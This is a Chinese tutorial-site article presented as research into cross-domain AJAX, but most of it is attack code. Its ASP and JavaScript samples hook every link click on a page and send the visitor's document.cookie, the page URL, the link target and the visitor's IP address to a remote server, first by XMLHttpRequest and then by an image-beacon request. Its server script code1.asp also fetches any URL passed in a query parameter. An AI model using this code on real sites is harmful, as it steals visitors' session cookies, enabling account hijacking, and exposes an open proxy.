DIV CSS 佈局教程網

 DIV+CSS佈局教程網 >> 網頁SEO優化 >> SEO優化集錦 >> ajax跨域研究
ajax跨域研究
編輯:SEO優化集錦     

客戶端是不能ajax跨域,服務端是可以的,所以就研究了這個方向,我們怎麼調用遠程asp來跨域:

192.168.0.12上放的i.asp內容如下:

<script language="javascript" src="http://192.168.0.5/code1.asp"> </script>
<a href=http://www.sohu.com>aaaa</a>
<a href=http://www.sohu.com>bbb</a>

192.168.0.5上的code1.asp內容如下:

<%a=Request.ServerVariables("remote_addr")
Function GetBody(url)
      On Error Resume Next
      Set Retrieval = CreateObject("Microsoft.XMLHTTP")
      With Retrieval
          .Open "Get", url, False, "", ""
          .Send
           GetBody = .ResponseBody
      End With
      Set Retrieval = Nothing
End Function
If Request.QueryString("url")<>"" then
GetBody(Request.QueryString("url"))
End if
%>

var xmlHttp

function showHint(str)
{

if (str.length==0)
    {
    return;
    }

xmlHttp=GetXmlHttpObject()

if (xmlHttp==null)
    {
    alert ("您的浏覽器不支持AJAX!");
    return;
    }

var url="http://192.168.0.5/code1.asp?url=http://192.168.0.5/getcd.asp";
url=url+"?var="+str;
xmlHttp.open("GET",url,true);
xmlHttp.send(null);
}


function GetXmlHttpObject()
{
var xmlHttp=null;
try
    {
    // Firefox, Opera 8.0+, Safari
    xmlHttp=new XMLHttpRequest();
    }
catch (e)
    {
    // Internet Explorer
    try
      {
      xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
      }
    catch (e)
      {
      xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
      }
    }
return xmlHttp;
}

document.onclick   =   function(e){
  
    var   e   =   e   ||   event;
    var   element   =   e.target   ||   e.srcElement;
    if(element.tagName.toLowerCase()   ==   "a"){
    
      if(!element.getAttribute('visited'))
     {
     //alert(element.href);
   
      showHint(element.href+location.href+encodeURI(document.cookie)+'<%=a%>');
               
    


      element.setAttribute('visited', true);
     }
    }
}

思路上是i.asp這個跨站頁面調用了code1.asp後,這個code1.asp是一個服務端腳本,算個中間代理,裡邊的js代碼用xmlhttp提交給自己,自己再做個轉發,轉發給getcd.asp,事實證明不成功!!!,唉!!!!說明了js被遠程調用後,已經不在原來文件域了,就算是寫在asp的服務端腳本也不行。


如果把ocde1.asp改成如下代碼,不過就不存在跨域概念了,就是脫庫子放屁了:

<%a=Request.ServerVariables("remote_addr")
Function GetBody(url)
      On Error Resume Next
      Set Retrieval = CreateObject("Microsoft.XMLHTTP")
      With Retrieval
          .Open "Get", url, False, "", ""
          .Send
           GetBody = .ResponseBody
      End With
      Set Retrieval = Nothing
End Function
If Request.QueryString("url")<>"" then
GetBody(Request.QueryString("url"))
End if
%>


document.onclick   =   function(e){
   var img = new Image();


    var   e   =   e   ||   event;
    var   element   =   e.target   ||   e.srcElement;
    if(element.tagName.toLowerCase()   ==   "a"){
    
      if(!element.getAttribute('visited'))
     {
   
     img.src='http://192.168.0.5/code1.asp?url=http://192.168.0.5/getcd.asp?var='+element.href+location.href+encodeURI(document.cookie)+'<%=a%>';
    
      element.setAttribute('visited', true);
     }
    }
}
 

XML學習教程| jQuery入門知識| AJAX入門| Dreamweaver教程| Fireworks入門知識| SEO技巧| SEO優化集錦|
Copyright © DIV+CSS佈局教程網 All Rights Reserved